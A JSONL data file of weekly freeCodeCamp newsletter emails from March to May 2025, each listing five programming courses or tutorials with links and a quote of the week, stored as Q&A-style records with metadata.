{"id": "gh_295c60b47fa4", "question": "How to: May 16, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a comprehensive course that will help you learn modern Android app development. You'll learn how to use Android Studio alongside the Kotlin language, a popular alternative to coding in Java. The final project involves building a clone of the Uber app – complete with map integration and real-time location tracking. (60 hour YouTube course): https://www.freecodecamp.org/news/master-kotlin-and-android-60-hour-course/\n\n2. And after you're done with that 60 hour course, try this other 60 hour course ;) It's a full-length Generative AI bootcamp led by CTO and AI enthusiast Andrew Brown. You'll learn powerful tools like Juptyer Notebook and Ollama. You'll also get exposure to the latest applied machine learning techniques. This course is designed to be reasonably accessible to non-developers as well, so any curious person can learn how to harness the power of these new tools. (65 hour YouTube course): https://www.freecodecamp.org/news/free-genai-65-hour-bootcamp/\n\n3. On this week's freeCodeCamp podcast I interview software engineer and prolific freeCodeCamp contributor Sam Crombie about life in San Francisco startup purgatory. Sam left his job at Microsoft to go through Y Combinator, and is currently trying to find product-market fit as a lone-wolf developer. We discuss how useful AI coding tools really are, tips for getting people to care about your apps, and how parents can help their kids get scholarships for Ivy League schools. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/ditching-a-microsoft-job-to-enter-startup-hell-with-lonewolf-engineer-sam-crombie-podcast-171/\n\n4. Learn how to build web apps faster with Vite, a new JavaScript front end build tool. Vite means quick in French. And this quick course wastes no time in showing you the ropes. You'll learn about Hot Module Replacement, Optimized Dependency Prebundling, Intelligent Caching, and more. (1 hour crash course): https://www.freecodecamp.org/news/learn-vite-for-a-better-web-development-workflow/\n\n5. Learn how to become a better analytical programmer by analyzing five different JavaScript implementations of the classic Rock-Paper-Scissors game. Along the way, you'll learn how to use visual tools for code comparison, and learn how to diagram codebases using Mermaid.js. I hope this helps you broaden your horizons as a dev and appreciate the many ways you can accomplish simple tasks with code. (2 hour read): https://www.freecodecamp.org/news/how-to-become-an-analytical-programmer-compare-five-projects/\n\nQuote of the Week: *\"You can do all the user research you want. But at some point, you just need to put your project out there. My biggest false starts came from not launching. I've learned that you can’t just theory-craft forever. You have to actually ship.\"* — Sam Crombie on this week's freeCodeCamp podcast, sharing lessons from startup “pivot purgatory\"", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739750"}
{"id": "gh_749c2a5ebdba", "question": "How to: May 9, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Learn Next.js by building your own Dropbox-style file storage app. This beginner-accessible course will help you learn full stack JavaScript using modern tools like React and PostgreSQL. You'll also learn how to design intuitive user interfaces, database schemas, file hierarchies, and more. (5 hour YouTube course): https://www.freecodecamp.org/news/code-a-dropbox-clone-with-nextjs/\n\n2. Kubernetes (often shortened to k8s) is a powerful open source tool for deploying services to the web, then monitoring them and scaling them as needed. freeCodeCamp just published a comprehensive handbook that will teach you key k8s concepts like Pods, DaemonSets, StatefulSets, and more. If you code along at home, by the end of this handbook you'll deploy an app to a k8s cluster in the cloud. (full-length handbook): https://www.freecodecamp.org/news/learn-kubernetes-handbook-devs-startups-businesses/\n\n3. On this week's freeCodeCamp podcast, I interview Shashi Lo. He's a software engineer at Microsoft who grew up the child of refugees. He dropped out of art school and taught himself programming by building projects for local businesses. He shares techniques he uses to continue to learn skills even while he's busy raising his 4 kids. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/from-art-school-drop-out-to-microsoft-engineer-with-shashi-lo-podcast-170/\n\n4. Improve your C++ programming skills by building your own audio plugin. freeCodeCamp is proud to publish this intermediate course by a developer and 3x Grammy-nominated producer and saxophone player. You'll learn native app development with the open source JUCE library, which is used in a lot of Digital Audio Workstation apps. (8 hour YouTube course): https://www.freecodecamp.org/news/improve-you-c-skills-by-coding-an-audio-plugin/\n\n5. Finally, freeCodeCamp also published this Front-End Performance Optimization Handbook this week. You'll learn JavaScript tricks to ensure your web apps load quickly. You'll learn how to minimize file size, make fewer server requests, optimize images, and more. There are tons of techniques in here that I hadn't even heard of. This is well worth reading if you're serious about improving your web development skills. (full-length handbook): https://www.freecodecamp.org/news/the-front-end-performance-optimization-handbook/\n\nQuote of the Week: *\"An ideal code review would be a small set of code changes that are easy to understand. You can pretty much read the code like a paragraph and understand what’s happening. Smaller pull requests help you avoid regressions, and save time for both the code author and the code reviewer.\"* — Shashi Lo on this week's freeCodeCamp podcast, talking about best practices he's learned while working as a dev at Microsoft", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739761"}
{"id": "gh_062079c081ae", "question": "How to: May 2, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a comprehensive Calculus course that will not only teach you math concepts, but will also show you how to implement them in Python code. Math professor Ed Pratowski will teach you college-level calc concepts like Limits, Integrals, Derivatives, Parametric Equations, and more. You can code along at home using Jupyter Notebook to implement these mathematical expressions and interact with them visually. This will help you solidify your understanding of these abstract concepts. (7 hour YouTube course): https://www.freecodecamp.org/news/learn-college-calculus-and-implement-with-python/\n\n2. Python has its own Node.js-style web development framework called Django. And freeCodeCamp just published a crash course that will help you get up and running with it. You'll learn about Django's Model-View-Template design pattern, its admin dashboard, and its “batteries included” design philosophy that makes building web apps relatively straightforward. By the end of this crash course, you will have built your own first Django app. (1 hour YouTube course): https://www.freecodecamp.org/news/django-crash-course-for-beginners\n\n3. freeCodeCamp just published yet another comprehensive handbook by CTO Omer Rosenbaum on how Internet Protocol Version 4 (IPv4) works. Note that even though IPv6 came out 13 years ago, IPv4 still handles a majority of web traffic. This handbook will teach you the basics of how IP addresses work. You'll also learn about Network Addressing Schemes, Packet Fragmentation Handling, Header Fields, Subnet Masks, and more. (full-length handbook): https://www.freecodecamp.org/news/how-ipv4-works-a-handbook-for-developers/\n\n4. Learn how to build your own DevOps pipeline using 100% freely available open source tools. This intermediate tutorial will show you step-by-step how to configure your cloud environment, set up Continuous Integration / Continuous Deployment, and orchestrate your containers. You'll also learn how to secure and monitor everything. (45 minute read): https://www.freecodecamp.org/news/how-to-build-a-production-ready-devops-pipeline-with-free-tools/\n\n5. Learn how to run multiple virtual machines on a single Linux computer using a tool called a hypervisor. This is helpful for running multiple servers or doing cross-platform testing of your apps. This tutorial will introduce you to Network Bridges, Guest VMs, and the Cockpit VM manager. (20 minute read): https://www.freecodecamp.org/news/turn-ubuntu-2404-into-a-kvm-hypervisor/\n\nQuote of the Week: *“If the automobile had followed the same development cycle as the computer, a Rolls-Royce would today cost $100, get a million miles per gallon, and explode once a year, killing everyone inside.”* — technology writer Robert X. Cringely in an old issue of InfoWorld magazine", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739771"}
{"id": "gh_2c8e6cd53faf", "question": "How to: Apr 25, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a comprehensive Python course that will walk you through building your own Llama 4-style Large Language Model. You'll learn about the inner workings of LLMs: Transformer Block Architecture, Feedforward Networks, Rotary Positional Embeddings, and the attention mechanism itself. Then you'll build a tokenizer and train a model to generate text. (4 hour YouTube course): https://www.freecodecamp.org/news/code-your-own-llama-4-llm-from-scratch/\n\n2. If all these machine learning terms you keep hearing are confusing or intimidating, no worries. freeCodeCamp just published this crash course that will explain these terms simply with the help of animations. You'll learn about Gradient Descent, Regularization, Decision Trees, and the Transformer model itself. (30 minute YouTube course): https://www.freecodecamp.org/news/essential-machine-learning-concepts-animated/\n\n3. On this week's freeCodeCamp podcast, I interview Tae'lur Alexis about her journey from working at McDonald's to working as a software engineer. She taught herself programming using freeCodeCamp. After 5 years of working as a developer, she started to specialize in information security. And last year she moved overseas to work remotely from Thailand. She has a ton of actionable tips for people who want to start a career in software development, and for experienced devs who want to transition into security. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/from-fast-food-worker-to-cybersecurity-engineer-with-taelur-alexis-podcast-169/\n\n4. freeCodeCamp just published a JavaScript Array course that covers everything you need to know about the Array data structure. You'll learn methods like push, pop, slice, map, filter, and reduce. You'll even learn about more advanced techniques like flatMap and findLastIndex. This course also includes tons of code examples and comprehension check questions to help you retain everything as you learn it. (3 hour YouTube course): https://www.freecodecamp.org/news/all-about-javascript-arrays/\n\n5. Learn REST API Architecture by building your own movie database app using back-end JavaScript. Representational State Transfer (REST) is the most common architecture for building APIs these days because it allows your server to be stateless. That is, it can serve new requests without any memory of its previous requests. This beginner tutorial will walk you through installing Express, setting up your webserver, configuring routes, and writing to your database. (25 minute read): https://www.freecodecamp.org/news/learn-rest-api-principles-by-building-an-express-app/\n\nQuote of the Week: *“As a developer, you can’t just jump straight to learning security. You have to start with Linux and networking. I had to go back and study how to build servers from scratch, set up a tech stack, and then learn how to break those systems. Building and breaking – it’s a constant cycle. That’s how I really started to understand security.”* — Tae'lur Alexis on this week's freeCodeCamp podcast, talking about her journey from web developer to security engineer", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739782"}
{"id": "gh_49d4dacd25ce", "question": "How to: Apr 18, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a comprehensive course on how to train your own GPT-like Large Language Model from scratch. You'll learn how to use Python libraries to load text data, train a tokenizer, and implement the Transformer architecture. Then you'll pre-train your model and use supervised learning to fine-tune it. By the end of the course, you'll have built your own AI assistant that you can chat with. (4 hour YouTube course): https://www.freecodecamp.org/news/train-your-own-llm/\n\n2. And if you want to go even deeper with Python, we also published a course on data engineering fundamentals. You'll adopt the mindset and best practices of the two senior platform engineers who teach this course. Some of the techniques you'll learn include extracting data from APIs, automatic schema management, incremental loading, and how to orchestrate scalable workflows. (4 hour YouTube course): https://www.freecodecamp.org/news/data-loading-with-python-and-ai\n\n3. On this week's freeCodeCamp podcast, I interview Alyson La who used freeCodeCamp to teach herself how to program while working as an accountant. She was able to transition to a data analyst role and ultimately became a data engineer at GitHub. After one of her kids was diagnosed with Autism, she stepped away from her career for 3 years. She now teaches other women how to re-enter the workforce through a charity called Tech Moms. She shares a ton of practical advice for anyone interested in building more technical skills. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/from-accountant-to-data-engineer-with-alyson-la-podcast-168/\n\n4. Laravel is the most popular PHP framework for building web apps. And freeCodeCamp just published an in-depth course on how to learn it. You can code along at home and build your own clone of the Medium blogging website. Along the way, you'll learn Tinker, Breeze, Blade Directives, and more. (7 hour YouTube course): https://www.freecodecamp.org/news/learn-laravel-by-building-a-medium-clone\n\n5. Finally, freeCodeCamp just published this full-length handbook that will teach you all about Serverless Architecture, which simplifies development by letting you focus purely on application code. Psst – serverless is a marketing term and does still involve servers. You'll learn how to set up a Docker image that you can then use with AWS Lambda functions to handle your server requests. (full-length handbook): https://www.freecodecamp.org/news/serverless-architecture-with-aws-lambda/\n\nQuote of the Week: *“I worked in spreadsheets. But as a data analyst, I had to learn SQL for the first time. The big transition was going from Excel to accessing a database, writing SQL, and then analyzing the data in a spreadsheet. Understanding how the tables connected, how joins worked – that was the bridge that helped me move further into engineering roles.”* — Alyson La on her transition from accountant to data analyst and ultimately data engineer, on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739793"}
{"id": "gh_2424b86e9726", "question": "How to: Apr 11, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. One of the hardest aspects of building apps in C and C++ is just getting your development environment properly configured. This course will walk you through how to set up key tools like CMake, vcpkg, Git, and Docker. From there, you'll be able to build high-performance apps with granular memory management. This course will put you in a strong position to take full advantage of freeCodeCamp's many other C and C++ for beginners courses. (6 hour YouTube course): https://www.freecodecamp.org/news/c-setup-and-installation-tools-cmake-vcpkg-docker-and-copilot/\n\n2. Lynx is a cross-platform development framework that just became open source a few weeks ago. You can use Lynx to build JavaScript apps that run on all kinds of devices, including Apple and Android phones. It's similar to frameworks like React Native and Flutter. This comprehensive freeCodeCamp course will guide you through setting up your first Lynx project, integrating with APIs, and leveraging its unique dual-thread architecture. You'll code your own game review app while learning to use Lynx's UI components, state management, and navigation implementation. (3 hour YouTube course): https://www.freecodecamp.org/news/learn-lynx-to-create-javascript-mobile-apps/\n\n3. On this week's freeCodeCamp podcast, I interview Jason Lengstorf, who learned to code by building websites for emo bands. Jason dropped out of college but went on to work as a software architect at IBM and other tech companies. He shares his tips for teaching yourself programming by chasing your curiosity. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/from-drop-out-to-software-architect-with-jason-lengstorf-podcast-167/\n\n4. Wireshark is a popular open source tool that security engineers use to analyze network traffic. This in-depth tutorial will show you how to harness Wireshark's power by filtering packet data so you can understand what's happening in a network and catch bad actors. (30 minute read): https://www.freecodecamp.org/news/use-wireshark-filters-to-analyze-network-traffic/\n\n5. If you've already learned languages like Python, JavaScript, and C++, and are looking for a new adventure, consider Clojure. It's a functional language based off of Lisp that can also leverage the Java Virtual Machine to run code in parallel. freeCodeCamp just published this comprehensive Clojure primer with interactive challenges that you can solve as you read. (full-length handbook): https://www.freecodecamp.org/news/learn-clojure-programming-basics/\n\nQuote of the Week: *“You can't just hang out with other developers – but never build anything – and expect to become a developer. At the same time, you can't just build things – but never deliver them to anybody – and expect to become a developer. You have to do both.”* — Jason Lengstorf, self-taught engineer and software architect, on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739804"}
{"id": "gh_28061d5f7e54", "question": "How to: Apr 4, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Learn how Large Language Models like GPT 4 work – one layer at a time. This freeCodeCamp course will walk you through the new DeepSeek-V3 technical report so you can learn about Multi-Head Latent Attention, Query-Key-Value mechanisms, Mixture of Experts Architecture, Rotary Positional Embeddings, and more. It will help you bridge the gap from understanding the theory to writing the Python code. (4 hour YouTube course): https://www.freecodecamp.org/news/understand-and-code-deepseek-v3/\n\n2. Laravel is the most popular PHP web development framework. And freeCodeCamp just published a crash course where you can code along at home and build your own Instagram clone using Laravel. This course is taught by Beau Carnes, one of freeCodeCamp's most popular instructors. You'll learn some PHP basics and how to harness the power of Laravel's Model-View-Controller architecture. You'll also learn how to configure your development environment, create your data models, set up routing, and test your app. (1 hour YouTube course): https://www.freecodecamp.org/news/code-a-full-stack-instagram-clone-with-laravel-and-mongodb/\n\n3. On this week's freeCodeCamp podcast, I interview Ryan Furrer about his journey from broke musician to software engineer. As you may know, not every guest on my podcast has a PhD from Stanford. Case in point, Ryan dropped out of college and worked as a violin instructor. He spent 5 years teaching himself how to program while working odd jobs and paying down his student debt. He ultimately ramped up with freelance gigs before landing developer jobs. He shares tons of practical insights for mid-career folks who want to break into tech. (90 minute listen in your favorite podcast app): https://www.freecodecamp.org/news/from-broke-musician-to-working-dev-ryan-furrer-podcast-166/\n\n4. The freeCodeCamp community is on a roll with another awesome handbook – this time on cryptography. You'll learn the history of the RSA cryptosystem and the math that underpins it. You'll also learn about various attacks on the encryption scheme such as Håstad’s Broadcast Attack, the Bleichenbacher Attack, the Malleability Exploit, and the many additions to RSA that have hardened it over the decades. Strong recommend. (full-length handbook): https://www.freecodecamp.org/news/the-cryptography-handbook-rsa-algorithm/\n\n5. Finally, did you know you could run your own home VPN off of a cheap Raspberry Pi computer? This freeCodeCamp tutorial will walk you through setting up a Tailscale open source mesh VPN for all your internet-connected devices, using the WireGuard protocol. (12 minute read): https://www.freecodecamp.org/news/set-up-a-home-vpn-using-tailscale-on-a-raspberry-pi/\n\nQuote of the Week: *“You don't have to push yourself if you're not comfortable. But there are rewards to be reaped should you figure out a way to put yourself slightly past the threshold of comfort.”* — Ryan Furrer, self-taught developer, on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739814"}
{"id": "gh_604352c5ab31", "question": "How to: Mar 28, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published this comprehensive tutorial that will teach you all about Application Programming Interfaces (APIs), and how computers use them to talk to one another. You'll get a full rundown of Clients, Servers, Requests, and Responses. You'll learn about various architectures like REST, SOAP, GraphQL, and gRPC. We've also included tons of diagrams and code examples to help you understand and retain the key concepts. (30 minute read): https://www.freecodecamp.org/news/learn-api-fundamentals-and-architecture/\n\n2. Lots of people know how to use spreadsheets, but few people know how to use them well. freeCodeCamp just published an Excel crash course that will help you learn the key formulas and functions. It covers Conditional Logic, VLOOKUP and HLOOKUP for searching data, data cleaning methods, common time functions, and more. This is perfect for refreshing your Excel knowledge and learning a few new techniques that you'll inevitably use in the future. (75 minute YouTube course): https://www.freecodecamp.org/news/learn-the-top-excel-formulas-and-functions/\n\n3. On this week's podcast, I interview a developer who didn't get serious about coding until he was 32 years old. Francesco Ciulla says he hated coding and preferred working as a volleyball coach. But he eventually knuckled down and got good at it, and today his code runs on Europe's Copernicus satellites. We talk about his long journey into software engineering, and how even though he's a proud introvert, he's managed to give conference talks and teach fellow developers. (90 minute watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/programming-satellites-at-age-37-with-francesco-ciulla-podcast-165/\n\n4. When you're building Python apps, you don't necessarily need a third-party tool to find performance bottlenecks within your codebase. The Python Standard Library already includes some pretty powerful built-in profiling modules. And this quick freeCodeCamp tutorial will show you how to leverage them. (30 minute read): https://www.freecodecamp.org/news/how-to-use-pythons-built-in-profiling-tools-examples-and-best-practices/\n\n5. And if you're looking for a fun project idea to practice your Python skills, you can code along at home with this tutorial and do some data analysis on your own YouTube metrics. Even if you just have a single cat video uploaded, that's enough data to play with. You'll learn how to use Jupyter Notebook, Pandas, Seaborn, and Matplotlib. First you'll export your data and run a correlation analysis on it. Then you'll visualize your data using a scatter plot chart. Finally, you'll be able to analyze your audience retention. (15 minute read): https://www.freecodecamp.org/news/extract-youtube-analytics-data-and-analyze-in-python/\n\nQuote of the Week:\n*“I tried so hard\nand got so far\nbut in the end\ngit push --force origin master”* — Francesco Ciulla, software engineer and guest on this week's freeCodeCamp podcast (In case you didn't get the reference, it's a Linkin Park joke)", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739826"}
{"id": "gh_77b42f0d0170", "question": "How to: Mar 22, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published this project-based course that will help you learn modern web development tools like Next.js, Supabase, and shadcn. You can code along at home and build your own note taking app that integrates with the OpenAI API, so you can have conversations with GPT about your notes. By the end of the course, you'll have deployed your own working app to the cloud that you and your friends can use for taking notes. (2 hour YouTube course): https://www.freecodecamp.org/news/build-a-full-stack-ai-note-taking-app-with-nextjs-and-supabase/\n\n2. freeCodeCamp also published a full-length handbook that will teach you the fundamentals of web accessibility. This way you'll be able to make your projects more usable by people who are living with disabilities. You'll learn about Semantic HTML and ARIA attributes. You'll then learn how to apply these tools to help people who have color blindness, or even full blindness. You'll also learn how to make your sites more accessible to people who navigate with a keyboard or a voice interface rather than a mouse. As I like to say, good accessibility is just good usability for everybody. (full-length handbook): https://www.freecodecamp.org/news/the-web-accessibility-handbook/\n\n3. On this week's freeCodeCamp podcast, I interview Jesse Hall. He's a software engineer who taught himself how to code while raising kids and working on the Best Buy Geek Squad fixing people's computers. He grew up in a trailer park in a one-stoplight town. He didn't get serious about coding until his 30s, when freeCodeCamp's curriculum helped him ultimately get a job at a big tech company. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/how-to-become-a-self-taught-developer-while-supporting-a-family-podcast-164/\n\n4. As you may know, I spend a lot of time learning world languages. And Large Language Models have been a great tool for me to improve my grammar, usage, and vocabulary. freeCodeCamp just published a course on how to fully leverage LLMs to practice world languages and even prepare for standardized exams. You'll learn AI prompting techniques, memory tricks like the 2-7-30 rule of spaced repetition, and other approaches to turbocharge your progress. (1 hour YouTube course): https://www.freecodecamp.org/news/learn-any-language-with-ai\n\n5. Learn about microcontrollers and how they process sensor data. This beginner's guide will teach you about Software Architecture and Sensor Pipelines. You'll also learn about Analog-to-Digital Converters, Scaling, and how device drivers work. (30 minute read): https://www.freecodecamp.org/news/connect-read-process-sensor-data-on-microcontrollers-for-beginners/\n\nQuote of the Week: *\"I always thought that software development was like rocket science. You had to be super smart for that kind of thing. But of course, one day I just went to Google and did a quick search and found Python. I could write a little script, and it would do these things for me. And it shaved an hour off my day every day. And that's what hooked me on software development.\"* — Jesse Hall, self-taught software engineer and guest on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739837"}
{"id": "gh_fc5a30fba106", "question": "How to: Mar 15, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published this comprehensive introduction to the JavaScript programming language. JavaScript is the main language used for web development, and you can even use it to build mobile apps. This course will teach you Object Oriented Programming, Functional Programming, and Asynchronous Programming. You'll also learn how to use Node.js and its massive ecosystem of libraries through Node Package Manager. (9 hour YouTube course): https://www.freecodecamp.org/news/javascript-essentials/\n\n2. freeCodeCamp also just published this in-depth handbook on how to become a full stack developer in 2025. Author Prankur Pandey breaks down the key tools that web developers use these days, including DevOps tools. He also shares tips on preparing for coding interviews and the developer job search. He even has a section on how he leverages AI tools to help him get more done as a dev. (full-length handbook): https://www.freecodecamp.org/news/become-a-full-stack-developer-and-get-a-job/\n\n3. On this week's freeCodeCamp podcast, I interview prolific computer science educator Caleb Curry about his recent experience getting laid off as a developer, and how he succeeded in quickly landing a new role. Caleb recently started mentoring a few dozen people who are getting into the field, and he shares that same advice he's been giving them about focusing on a few key skills and going really deep. Caleb has a ton of tips for how to manage your information diet so you can gradually amass knowledge. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/learn-fewer-skills-but-go-deeper-the-caleb-curry-interview-podcast-163/\n\n4. If you're interested in learning more about how software projects are managed, this tutorial may strike your fancy. You don't need a code editor for this – you can just read along and look at the Python code examples. You'll learn key software design concepts: Problem Statements, Use Cases, Requirements, High Level System Architecture, and how the entire process flows together. (30 minute read): https://www.freecodecamp.org/news/learn-software-design-basics/\n\n5. One of the most common ways teams build software is through Agile development sprints. This tutorial will give you a quick tour of Sprint Retrospectives, where teams look back on the work they've done over the past few weeks. You'll learn the mechanics of the Start - Stop - Continue approach, and how it can result in better decision making for what to prioritize in subsequent sprints. (12 minute read): https://www.freecodecamp.org/news/how-to-run-a-sprint-retrospective-start-stop-continue-method/\n\nQuote of the Week: *\"If you're a beginner and you're learning, I would not use AI – at least not right now. I wouldn't use Copilot or any of these tools that basically help you write solutions while you're coding. It's just going to allow you to not learn those things for yourself.\"* — Caleb Curry, software engineer and guest on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739848"}
{"id": "gh_297aa490bc13", "question": "How to: Mar 8, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a new Python Machine Learning course that will teach you the fundamentals of how generative AI systems work. You'll walk away with a grasp of key ML concepts. You'll also understand how working with these types of models is different from writing traditional rule-based software. (2 hour YouTube course): https://www.freecodecamp.org/news/learn-machine-learning-concepts-plus-generative-ai/\n\n2. Learn how to build your own Massively Multiplayer Online game using the same Unity development framework used to build Genshin Impact, Hearthstone, Cuphead, and other games. Beau Carnes is a prolific teacher within the freeCodeCamp community, and he'll show you the moves. You'll start by learning some basic C# programming. Then you'll dive into server and client architecture, game mechanics, and more. (2 hour YouTube course): https://www.freecodecamp.org/news/create-a-simple-mmo-game-in-unity/\n\n3. On this week's freeCodeCamp podcast, I interview Anjana Vakil. After studying computational linguistics and working as a teacher, she started teaching herself how to code in her 30s. She has since worked as a software engineer at tech companies and for freelance clients. She shares her experience as an American developer who lives and works in Europe. She also argues that her skills from her previous career have given her a big edge over her peers. She thinks that career changers often underestimate how much of a boost they'll get from their non-tech domain expertise. I learned a lot from Anjana and I think you will, too. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/how-to-become-a-developer-in-your-30s-anjana-vakil-podcast-162/\n\n4. If you want to go even deeper with Python machine learning, consider learning the popular Pytorch library. freeCodeCamp just published this comprehensive intro that will teach you how to use pre-trained models to perform Tabular Data Classification, Image Classification, Audio Classification, and more. This is an excellent primer for aspiring data scientists or machine learning engineers. (6 hour YouTube course): https://www.freecodecamp.org/news/learn-pytorch-in-five-projects\n\n5. The MERN Stack is a pretty standard set of web development tools for building full-stack JavaScript apps. MERN stands for MongoDB, Express, React, and Node.js. This tutorial will show you how to set up your development environment by installing Node and its package manager. Then you'll set up your app's front end, back end, and database. By the end of the tutorial, you'll have your own simple To-Do app deployed and running in the cloud. (30 minute read): https://www.freecodecamp.org/news/how-to-build-a-mern-stack-to-do-app/\n\nQuote of the Week: *\"The more we can keep ourselves nimble, the better. It's very unlikely that you'll start your software career working in the exact same technology that you'll be working in even a year later — let alone 20 years later.\"* — Anjana Vakil, software engineer and guest on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739861"}
{"id": "gh_c41f7217b0d3", "question": "How to: Mar 2, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Linear Algebra is one of the most important fields of mathematics if you want to build AI systems using modern machine learning techniques. And freeCodeCamp just published a comprehensive course to help you learn it. You'll review foundational concepts from high school like Cartesian Coordinates and the Pythagorean Theorem. Then you'll dive into more advanced topics like Vectors in High Dimensions, Linear Independence, Normalization, Projections, and more. Don't be daunted by advanced math – you CAN learn it and harness its power for your projects. (10 hour YouTube course): https://www.freecodecamp.org/news/learn-linear-algebra-for-machine-learning/\n\n2. Learn how to build a vision transformer from scratch using Python. Transformers are not just the coolest aliens in cartoon history – they're also the key breakthrough that has allowed engineers to create powerful Large Language Models these past few years. And Transformers are useful for computer vision as well. This course will teach you techniques like Image Pre-processing, Multi-head Attention, Patch Embeddings, and more. (1 hour YouTube course): https://www.freecodecamp.org/news/build-a-vision-transformer-from-scratch/\n\n3. On this week's freeCodeCamp podcast, I interview modern-day renaissance man Vaughn Gene. After struggling with high school, Vaughn joined the US Navy and spent 10 years in Japan. He became fluent in the Japanese language and worked as a personal trainer for locals. He wanted more flexibility in his work, so he used freeCodeCamp to learn to code, then started lining up freelance clients. Along the way, Vaughn has also taught himself guitar, piano, Spanish, and advanced Mixed Martial Arts techniques. He shares his self-teaching heuristics, and how he's able to cultivate so many skills in tandem. I loved learning from him, and I think you will, too. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/how-to-go-full-on-renaissance-man-mode-in-2025-with-vaughn-gene-podcast-161/\n\n4. One of the most powerful innovations of the past 30 years – for better or for worse – has been algorithmic recommendation feeds. And as a developer, if you want to build such a Recommender System for your app, you'll first need to overcome what are called Cold Start Problems. This tutorial will explain these challenges and give you conceptual tools for pushing through them. You'll learn about Contextual Data, Preference Collection, Hybrid Filtering, and more. (15 minute read): https://www.freecodecamp.org/news/cold-start-problem-in-recommender-systems/\n\n5. LaTeX is an open source typesetting tool used to represent mathematical expressions in academic papers. You can also use it to jazz up the typography of your documents. This step-by-step tutorial will teach you how to leverage the power of LaTeX right on your local Windows machine. You'll even learn how to load it into VS Code. (10 minute read): https://www.freecodecamp.org/news/how-to-run-latex-projects-locally-for-free-on-windows/\n\nQuote of the Week: *\"The more intelligent you are, the more likely you'll worry: what if I learn it the wrong way or the slow way or the suboptimal way? But in worrying like that – all that time we spend worrying - someone else is just going to spend learning the thing. In learning a new skill, the only bad choice you can make is really just doing nothing.\"* — Vaughn Gene, on this week's 